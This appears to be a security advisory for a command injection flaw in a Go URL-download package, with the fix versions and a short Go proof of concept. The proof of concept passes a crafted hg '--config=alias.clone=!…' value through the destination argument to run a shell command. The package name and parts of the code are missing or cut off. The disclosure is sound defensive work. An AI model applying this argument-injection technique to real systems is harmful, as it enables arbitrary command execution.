Command Injection Affecting Open this link in a new tab package, versions <1.6.1 >=2.0.0 <2.1.0

  • Exploit Maturity

    Proof of concept

  • Attack Complexity


  • Confidentiality


  • Integrity


  • Availability


Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id


  • published

    25 May 2022

  • disclosed

    11 Mar 2022

  • credit

    Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade to version 1.6.1, 2.1.0 or higher.

Overview is a Package for downloading things from a string URL using a variety of protocols.

Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the new(gogetter.HgGetter).get() function, the dst parameter is passed to the hg clone command in a way that additional flags can be set. The additional flags can be used to perform a command injection.


package main

import (
    gogetter ""

func main(){
    g := new(gogetter.HgGetter)
    rawURL := "someurl"

    u, _ := url.Parse(rawURL)

    dst := "--config=alias.clone=!touch ./HELLO"
    g.Get(dst, u)